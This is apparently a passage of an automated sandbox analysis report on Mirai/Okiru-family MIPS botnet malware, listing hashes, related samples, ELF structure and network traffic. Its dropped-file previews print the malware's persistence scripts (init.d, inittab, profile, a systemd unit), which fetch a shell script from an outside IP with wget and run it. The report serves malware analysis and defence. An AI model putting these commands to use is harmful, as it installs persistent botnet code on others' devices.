                                                    91.189.91.42m68k.nn.elfGet hashmaliciousOkiruBrowse
                                                      arm6.nn.elfGet hashmaliciousOkiruBrowse
                                                        arm5.nn.elfGet hashmaliciousOkiruBrowse
                                                          sh4.nn.elfGet hashmaliciousOkiruBrowse
                                                            bot.ppc.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                                                              sh4.nn.elfGet hashmaliciousOkiruBrowse
                                                                arm.nn.elfGet hashmaliciousOkiruBrowse
                                                                  mipsel.nn.elfGet hashmaliciousOkiruBrowse
                                                                    nklarm6.elfGet hashmaliciousUnknownBrowse
                                                                      nabarm6.elfGet hashmaliciousUnknownBrowse

                                                                        Domains

                                                                        ⊘No context

                                                                        ASNs

                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                        CANONICAL-ASGBm68k.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 91.189.91.42
                                                                        arm6.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 91.189.91.42
                                                                        arm5.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 91.189.91.42
                                                                        sh4.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 91.189.91.42
                                                                        bot.ppc.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                                                                        • 91.189.91.42
                                                                        boatnet.arc.elfGet hashmaliciousMiraiBrowse
                                                                        • 185.125.190.26
                                                                        sh4.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 91.189.91.42
                                                                        arm.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 91.189.91.42
                                                                        x86_32.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 185.125.190.26
                                                                        mipsel.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 91.189.91.42
                                                                        CANONICAL-ASGBm68k.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 91.189.91.42
                                                                        arm6.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 91.189.91.42
                                                                        arm5.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 91.189.91.42
                                                                        sh4.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 91.189.91.42
                                                                        bot.ppc.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                                                                        • 91.189.91.42
                                                                        boatnet.arc.elfGet hashmaliciousMiraiBrowse
                                                                        • 185.125.190.26
                                                                        sh4.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 91.189.91.42
                                                                        arm.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 91.189.91.42
                                                                        x86_32.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 185.125.190.26
                                                                        mipsel.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 91.189.91.42
                                                                        INIT7CHm68k.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 109.202.202.202
                                                                        arm6.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 109.202.202.202
                                                                        arm5.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 109.202.202.202
                                                                        sh4.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 109.202.202.202
                                                                        bot.ppc.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                                                                        • 109.202.202.202
                                                                        sh4.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 109.202.202.202
                                                                        arm.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 109.202.202.202
                                                                        mipsel.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 109.202.202.202
                                                                        nklarm6.elfGet hashmaliciousUnknownBrowse
                                                                        • 109.202.202.202
                                                                        nabarm6.elfGet hashmaliciousUnknownBrowse
                                                                        • 109.202.202.202
                                                                        NETIXBGarm5.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 94.156.227.234
                                                                        sh4.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 94.156.227.234
                                                                        mips.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 94.156.227.234
                                                                        x86_64.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 94.156.227.234
                                                                        sh4.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 94.156.227.234
                                                                        arm.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 94.156.227.234
                                                                        x86_32.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 94.156.227.234
                                                                        mipsel.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 94.156.227.234
                                                                        arm7.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                        • 94.156.227.234
                                                                        powerpc.nn.elfGet hashmaliciousOkiruBrowse
                                                                        • 94.156.227.234

                                                                        JA3 Fingerprints

                                                                        ⊘No context

                                                                        Dropped Files

                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                        /etc/init.d/systemmips.nn.elfGet hashmaliciousOkiruBrowse
                                                                          mips.nn.elfGet hashmaliciousOkiruBrowse
                                                                            mips.nn.elfGet hashmaliciousOkiruBrowse
                                                                              mips.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                mips.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                  mips.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                    /etc/init.d/mips.nn.elfmips.nn.elfGet hashmaliciousOkiruBrowse
                                                                                      mips.nn.elfGet hashmaliciousOkiruBrowse
                                                                                        mips.nn.elfGet hashmaliciousOkiruBrowse
                                                                                          mips.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                            mips.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                              mips.nn.elfGet hashmaliciousMirai, OkiruBrowse

                                                                                                Created / dropped Files

                                                                                                /boot/bootcmd

                                                                                                Download File
                                                                                                Process:/tmp/mips.nn.elf
                                                                                                File Type:ASCII text
                                                                                                Category:dropped
                                                                                                Size (bytes):120
                                                                                                Entropy (8bit):4.6673580822573815
                                                                                                Encrypted:false
                                                                                                SSDEEP:3:KPJRXaLOFDDoCvLdjX48FIbILbaaFOdFXa5O:WJRAqfoYZX48bbaaeXCO
                                                                                                MD5:1A9CFC8296A794005A6ED7309FB964C7
                                                                                                SHA1:F0854ADA10E43340194AE598DE8EB1A2F0436E6F
                                                                                                SHA-256:C5246AC8D32C6DB19DCDA396AE9F6276F305A2C0AD34BDD0AC8E5F5385DE911C
                                                                                                SHA-512:CDD53A79B7D657AC4F7E49B6F76F35427791A374183F84DB0797FC0E30D7E15354F10E09BBB1969D3E17DDCE3D21C87EB9CC027AA6B681835485F8DF26056C8D
                                                                                                Malicious:false
                                                                                                Reputation:low
                                                                                                Preview:run bootcmd_mmc0; /tmp/mips.nn.elf && wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

                                                                                                /etc/init.d/mips.nn.elf

                                                                                                Download File
                                                                                                Process:/bin/sh
                                                                                                File Type:POSIX shell script, ASCII text executable
                                                                                                Category:dropped
                                                                                                Size (bytes):400
                                                                                                Entropy (8bit):4.520964657474615
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:QRkiEXNxu6PUJgjvMbqFxzuKN+dRRucSOyd3:LcIh4YOM3
                                                                                                MD5:56EDCA3B93654832FB769BBE30221B74
                                                                                                SHA1:9B3F5BFB172A90B745F9FBEB78B26005A2F7F85A
                                                                                                SHA-256:14B17FA18317AB67A1A7001D8D1AE33ACC0B56B973BEED984D4DFA1FF345965E
                                                                                                SHA-512:46169E6F8C7D47138035E1264FB2A138B0B98093DAA8A684BFCDDFF0A5D4348734252AD1520B7DDCA6709D9EC7B5F1D6DB6C2483C39AD55BB126B87C49D0644B
                                                                                                Malicious:true
                                                                                                Joe Sandbox View:
                                                                                                • Filename: mips.nn.elf, Detection: malicious, Browse
                                                                                                • Filename: mips.nn.elf, Detection: malicious, Browse
                                                                                                • Filename: mips.nn.elf, Detection: malicious, Browse
                                                                                                • Filename: mips.nn.elf, Detection: malicious, Browse
                                                                                                • Filename: mips.nn.elf, Detection: malicious, Browse
                                                                                                • Filename: mips.nn.elf, Detection: malicious, Browse
                                                                                                Reputation:low
                                                                                                Preview:#!/bin/sh.# /etc/init.d/mips.nn.elf..case "" in. start). echo 'Starting mips.nn.elf'. /tmp/mips.nn.elf &. wget http://94.156.227.233/ -O /tmp/lol.sh. chmod +x /tmp/lol.sh. /tmp/lol.sh &. ;;. stop). echo 'Stopping mips.nn.elf'. killall mips.nn.elf. ;;. restart). sh stop. sh start. ;;. *). echo "Usage: sh {start|stop|restart}". exit 1. ;;.esac.exit 0.

                                                                                                /etc/init.d/system

                                                                                                Download File
                                                                                                Process:/tmp/mips.nn.elf
                                                                                                File Type:POSIX shell script, ASCII text executable
                                                                                                Category:dropped
                                                                                                Size (bytes):107
                                                                                                Entropy (8bit):4.626340344670068
                                                                                                Encrypted:false
                                                                                                SSDEEP:3:TKH4vZKaLOFDvSDRFiLdjX48FIbILpaKB0dFLoKE0:h8AqzSXoZX48bzBeLXE0
                                                                                                MD5:9D7810EB80D1ADF65C0E03C7E3ED8D3B
                                                                                                SHA1:CECD797E5D50D1AF62217724E3B52AEFECA83671
                                                                                                SHA-256:03FCED0CD0C08B10F51EFFC6DF9C887116170586213B5E9EF7259A2271ECFA3B
                                                                                                SHA-512:8B4B6A09400B9AEACB3A225D44325744A8D266D75BF5AC8913FB091E268E6AABC3FEF51C8AE7DB3E41B0A02714086DC59EBEB4A26F4B74BC096FE2BCE440783E
                                                                                                Malicious:true
                                                                                                Joe Sandbox View:
                                                                                                • Filename: mips.nn.elf, Detection: malicious, Browse
                                                                                                • Filename: mips.nn.elf, Detection: malicious, Browse
                                                                                                • Filename: mips.nn.elf, Detection: malicious, Browse
                                                                                                • Filename: mips.nn.elf, Detection: malicious, Browse
                                                                                                • Filename: mips.nn.elf, Detection: malicious, Browse
                                                                                                • Filename: mips.nn.elf, Detection: malicious, Browse
                                                                                                Reputation:low
                                                                                                Preview:#!/bin/sh./tmp/mips.nn.elf &.wget http://94.156.227.233/ -O /tmp/lol.sh.chmod +x /tmp/lol.sh./tmp/lol.sh &.

                                                                                                /etc/inittab

                                                                                                Download File
                                                                                                Process:/tmp/mips.nn.elf
                                                                                                File Type:ASCII text
                                                                                                Category:dropped
                                                                                                Size (bytes):112
                                                                                                Entropy (8bit):4.596949186010745
                                                                                                Encrypted:false
                                                                                                SSDEEP:3:nAWu5ILOFDDoCvLdjX48FIbILbaaFOdFXa5O:AYqfoYZX48bbaaeXCO
                                                                                                MD5:8110861E1A221FAE15BEE01B7B3DDAEC
                                                                                                SHA1:D67AD4178DAC23F253B6ECF1AD545ACFF05F3E83
                                                                                                SHA-256:9711D7C6B31AF5337E2779B8B40347BD146B40D39AC05A80127585CED9CD1F1F
                                                                                                SHA-512:1B5267FEA415A3115B817604A9719C9F7EA2B667983A2ABB832179726DC762BFA4FCEFCF0711DCAD6675012934DA5AD0368CCB1664C16325A1897184D7CE2331
                                                                                                Malicious:false
                                                                                                Reputation:low
                                                                                                Preview:::respawn:/tmp/mips.nn.elf && wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

                                                                                                /etc/motd

                                                                                                Download File
                                                                                                Process:/tmp/mips.nn.elf
                                                                                                File Type:ASCII text
                                                                                                Category:dropped
                                                                                                Size (bytes):53
                                                                                                Entropy (8bit):3.871459242626451
                                                                                                Encrypted:false
                                                                                                SSDEEP:3:yGKtARxFQFrgBJ4BJ+3e:dQ0EcHG2e
                                                                                                MD5:2BD9B4BE30579E633FC0191AA93DF486
                                                                                                SHA1:7D63A9BD9662E86666B27C1B50DB8E7370C624FF
                                                                                                SHA-256:64DC39F3004DC93C9FC4F1467B4807F2D8E3EB0BFA96B15C19CD8E7D6FA77A1D
                                                                                                SHA-512:AE6DD7B39191354CF43CF65E517460D7D4C61B8F5C08E33E6CA3C451DC7CAB4DE89F33934C89396B80F1AADE0A4E2571BD5AE8B76EF80B737D4588703D2814D5
                                                                                                Malicious:false
                                                                                                Reputation:moderate, very likely benign file
                                                                                                Preview:gorilla botnet is on the device ur not a cat go away.

                                                                                                /etc/profile

                                                                                                Download File
                                                                                                Process:/tmp/mips.nn.elf
                                                                                                File Type:ASCII text
                                                                                                Category:dropped
                                                                                                Size (bytes):103
                                                                                                Entropy (8bit):4.489371230985084
                                                                                                Encrypted:false
                                                                                                SSDEEP:3:TgaLOFDvSDRFiLdjX48FIbILbaaFOdFXa50:TgAqzSXoZX48bbaaeXC0
                                                                                                MD5:32A93536670421C003E8D71297170E6E
                                                                                                SHA1:031D23733D441D99A693E7B48D75B2CD3430BACB
                                                                                                SHA-256:06CB3A855BD04EF38606D12CDE5699579EDB620C67A04F411B1BB6CEBADA3183
                                                                                                SHA-512:D49E13E4B035FF91DABE8A88FDC1E40E6608134ADF402A48F03EDBA94A3C363D70101F42FD6C1529DFA2F2CD54E2F62AF108560177C05AF22AC3FAE92DF8101E
                                                                                                Malicious:true
                                                                                                Preview:/tmp/mips.nn.elf &.wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh &.

                                                                                                /etc/rc.local

                                                                                                Download File
                                                                                                Process:/tmp/mips.nn.elf
                                                                                                File Type:POSIX shell script, ASCII text executable
                                                                                                Category:dropped
                                                                                                Size (bytes):10
                                                                                                Entropy (8bit):3.121928094887362
                                                                                                Encrypted:false
                                                                                                SSDEEP:3:TKH4vn:hv
                                                                                                MD5:3E2B31C72181B87149FF995E7202C0E3
                                                                                                SHA1:BD971BEC88149956458A10FC9C5ECB3EB99DD452
                                                                                                SHA-256:A8076D3D28D21E02012B20EAF7DBF75409A6277134439025F282E368E3305ABF
                                                                                                SHA-512:543F39AF1AE7A2382ED869CBD1EE1AC598A88EB4E213CD64487C54B5C37722C6207EE6DB4FA7E2ED53064259A44115C6DA7BBC8C068378BB52A25E7088EEEBD6
                                                                                                Malicious:true
                                                                                                Antivirus:
                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                Preview:#!/bin/sh.

                                                                                                /etc/systemd/system/custom.service

                                                                                                Download File
                                                                                                Process:/tmp/mips.nn.elf
                                                                                                File Type:ASCII text
                                                                                                Category:dropped
                                                                                                Size (bytes):301
                                                                                                Entropy (8bit):5.056342528833076
                                                                                                Encrypted:false
                                                                                                SSDEEP:6:z8ifitRZAMzdK+kA02+GWRdbZX48B+GWRo3UN2+GWRuLYACGX9LQmWA4Rv:zNitRZAOK+9p+GWRdtd+GWRXY+GWRuL6
                                                                                                MD5:4DF54A66C6714A7CABD20A2DB450B36C
                                                                                                SHA1:97AAF00169256C53F48520C28C6B3498AE519837
                                                                                                SHA-256:B78311024F1DBA0CEA598DF5EE70822B056284855C58559CF068B3510C31933F
                                                                                                SHA-512:7CC0892C73B3DEC673B8848AC9D2B4781DB4A0CB0520CB362AE426D5176CDA2FE7249590CA88F2D56EB3942E35B6095554EEEBA393D43E3B25DA214ED929B541
                                                                                                Malicious:false
                                                                                                Preview:[Unit].Description=Custom Binary and Payload Service.After=network.target..[Service].ExecStart=/tmp/mips.nn.elf.ExecStartPost=/usr/bin/wget -O /tmp/lol.sh http://94.156.227.233/.ExecStartPost=/bin/chmod +x /tmp/lol.sh.ExecStartPost=/tmp/lol.sh.Restart=on-failure..[Install].WantedBy=multi-user.target.

                                                                                                /memfd:snapd-env-generator (deleted)

                                                                                                Download File
                                                                                                Process:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                                                                                                File Type:ASCII text
                                                                                                Category:dropped
                                                                                                Size (bytes):76
                                                                                                Entropy (8bit):3.7627880354948586
                                                                                                Encrypted:false
                                                                                                SSDEEP:3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
                                                                                                MD5:D86A1F5765F37989EB0EC3837AD13ECC
                                                                                                SHA1:D749672A734D9DEAFD61DCA501C6929EC431B83E
                                                                                                SHA-256:85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
                                                                                                SHA-512:338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
                                                                                                Malicious:false
                                                                                                Preview:PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

                                                                                                /tmp/qemu-open.wToInN (deleted)

                                                                                                Download File
                                                                                                Process:/tmp/mips.nn.elf
                                                                                                File Type:ASCII text, with no line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):17
                                                                                                Entropy (8bit):3.4992275471326932
                                                                                                Encrypted:false
                                                                                                SSDEEP:3:TgaLOln:TgAKn
                                                                                                MD5:3B2A108EB9BDAC564681D1D50B5B8E8F
                                                                                                SHA1:E744F918D99769B49D0C6E8CBEDD4A1590CBBD1E
                                                                                                SHA-256:B89FE9B42F66509FF52B529092B42F8D759FB8E03059E8CC4039940A45287D87
                                                                                                SHA-512:52A5D2AB05D38B4EEE703B8344837CA7B890D6C8CC32C7AAEE8F128EBBE5F45A92A72A54E8A14B4DB61E9E7E002CED615B52E7503F50FB46AD8738921B1C98A5
                                                                                                Malicious:false
                                                                                                Preview:/tmp/mips.nn.elf.

                                                                                                Static File Info

                                                                                                General

                                                                                                File type:ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
                                                                                                Entropy (8bit):5.602013263999858
                                                                                                TrID:
                                                                                                • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                                                                File name:mips.nn.elf
                                                                                                File size:114'560 bytes
                                                                                                MD5:295967bdfd3359fa517fe956dfb03352
                                                                                                SHA1:fd7c08db9a6c919a8ca274ecc37b8cd6b8b1113a
                                                                                                SHA256:0b5bb5530ea15a877aa1d455ec7ede76424382f57b4b02cfa43e69f58645f995
                                                                                                SHA512:5cdc14e12875666de5f862c4859c3157746e98e81e77f91f71096197d56a3c71e53c7e0dc4def08db6eeec325fd63fef3c26ad31fc52bd750532964c68f96be6
                                                                                                SSDEEP:1536:TruVm1hf8EqC2WmqBc9JLzqNlmNAo/dAyWOweh2ayeesTPjszm7:TruVyh0TCO99JCN0Ao/dAUh2abDjszq
                                                                                                TLSH:D7B3E80E6E218FBDF659C23947B79E61A35833D626E1D285D27DD6100F6038E241FFA8
                                                                                                File Content Preview:.ELF.....................@.`...4...P.....4. ...(.............@...@.....p...p.................E...E......../\........dt.Q............................<...'.4....!'.......................<...'.4....!... ....'9... ......................<...'.4x...!........'9.

                                                                                                Static ELF Info

                                                                                                ELF header

                                                                                                Class:ELF32
                                                                                                Data:2's complement, big endian
                                                                                                Version:1 (current)
                                                                                                Machine:MIPS R3000
                                                                                                Version Number:0x1
                                                                                                Type:EXEC (Executable file)
                                                                                                OS/ABI:UNIX - System V
                                                                                                ABI Version:0
                                                                                                Entry Point Address:0x400260
                                                                                                Flags:0x1007
                                                                                                ELF Header Size:52
                                                                                                Program Header Offset:52
                                                                                                Program Header Size:32
                                                                                                Number of Program Headers:3
                                                                                                Section Header Offset:114000
                                                                                                Section Header Size:40
                                                                                                Number of Section Headers:14
                                                                                                Header String Table Index:13

                                                                                                Sections

                                                                                                NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                                                                NULL0x00x00x00x00x0000
                                                                                                .initPROGBITS0x4000940x940x8c0x00x6AX004
                                                                                                .textPROGBITS0x4001200x1200x184600x00x6AX0016
                                                                                                .finiPROGBITS0x4185800x185800x5c0x00x6AX004
                                                                                                .rodataPROGBITS0x4185e00x185e00x26900x00x2A0016
                                                                                                .ctorsPROGBITS0x45b0000x1b0000x80x00x3WA004
                                                                                                .dtorsPROGBITS0x45b0080x1b0080x80x00x3WA004
                                                                                                .data.rel.roPROGBITS0x45b0140x1b0140x540x00x3WA004
                                                                                                .dataPROGBITS0x45b0700x1b0700x5000x00x3WA0016
                                                                                                .gotPROGBITS0x45b5700x1b5700x77c0x40x10000003WAp0016
                                                                                                .sbssNOBITS0x45bcec0x1bcec0x200x00x10000003WAp004
                                                                                                .bssNOBITS0x45bd100x1bcec0x224c0x00x3WA0016
                                                                                                .mdebug.abi32PROGBITS0xe100x1bcec0x00x00x0001
                                                                                                .shstrtabSTRTAB0x00x1bcec0x640x00x0001

                                                                                                Program Segments

                                                                                                TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                                                                LOAD0x00x4000000x4000000x1ac700x1ac705.65400x5R E0x10000.init .text .fini .rodata
                                                                                                LOAD0x1b0000x45b0000x45b0000xcec0x2f5c4.18350x6RW 0x10000.ctors .dtors .data.rel.ro .data .got .sbss .bss
                                                                                                GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                                                                                                Network Behavior

                                                                                                Network Port Distribution

                                                                                                TCP Packets

                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                Dec 24, 2024 07:47:50.364876986 CET43928443192.168.2.2391.189.91.42
                                                                                                Dec 24, 2024 07:47:51.850585938 CET6001038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:51.970324039 CET382426001094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:51.970376968 CET6001038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:51.970669031 CET6001038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:52.090261936 CET382426001094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:52.488728046 CET6001038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:52.655193090 CET382426001094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:53.086307049 CET382426001094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:53.091577053 CET6001038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:53.493160963 CET6001238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:53.612886906 CET382426001294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:53.612982035 CET6001238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:53.612982035 CET6001238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:53.732669115 CET382426001294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:54.126096010 CET6001238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:54.287218094 CET382426001294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:54.741828918 CET382426001294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:54.741919994 CET6001238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:55.128431082 CET6001438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:55.248250961 CET382426001494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:55.251600027 CET6001438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:55.251665115 CET6001438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:55.371264935 CET382426001494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:55.739976883 CET42836443192.168.2.2391.189.91.43
                                                                                                Dec 24, 2024 07:47:55.797528982 CET6001438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:55.959232092 CET382426001494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:56.372129917 CET382426001494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:56.372210026 CET6001438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:56.798836946 CET6001638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:56.918436050 CET382426001694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:56.918590069 CET6001638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:56.918637991 CET6001638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:57.019804001 CET4251680192.168.2.23109.202.202.202
                                                                                                Dec 24, 2024 07:47:57.038141012 CET382426001694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:57.423405886 CET6001638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:57.583333969 CET382426001694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:58.039827108 CET382426001694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:58.039896965 CET6001638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:58.424386978 CET6001838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:58.544011116 CET382426001894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:58.544080973 CET6001838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:58.544116974 CET6001838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:58.664051056 CET382426001894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:59.047759056 CET6001838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:47:59.211486101 CET382426001894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:59.663842916 CET382426001894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:47:59.663928032 CET6001838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:00.048942089 CET6002038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:00.168596983 CET382426002094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:00.168662071 CET6002038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:00.168685913 CET6002038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:00.288269043 CET382426002094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:00.673389912 CET6002038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:00.835237980 CET382426002094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:01.285080910 CET382426002094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:01.285161018 CET6002038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:01.674617052 CET6002238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:01.794173002 CET382426002294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:01.794233084 CET6002238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:01.794265032 CET6002238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:01.913831949 CET382426002294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:02.298655033 CET6002238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:02.463283062 CET382426002294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:02.927994967 CET382426002294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:02.928268909 CET6002238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:03.299664974 CET6002438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:03.419295073 CET382426002494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:03.419364929 CET6002438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:03.419400930 CET6002438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:03.538938046 CET382426002494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:03.923633099 CET6002438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:04.087335110 CET382426002494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:04.538583040 CET382426002494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:04.538656950 CET6002438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:04.924578905 CET6002638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:05.044172049 CET382426002694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:05.044289112 CET6002638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:05.044409037 CET6002638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:05.163916111 CET382426002694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:05.548867941 CET6002638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:05.711390972 CET382426002694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:06.180635929 CET382426002694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:06.180711031 CET6002638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:06.550049067 CET6002838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:06.669868946 CET382426002894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:06.669995070 CET6002838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:06.670038939 CET6002838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:06.789671898 CET382426002894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:07.175084114 CET6002838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:07.339344978 CET382426002894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:07.785336971 CET382426002894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:07.785413027 CET6002838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:08.176306963 CET6003038242192.168.2.2394.156.227.234
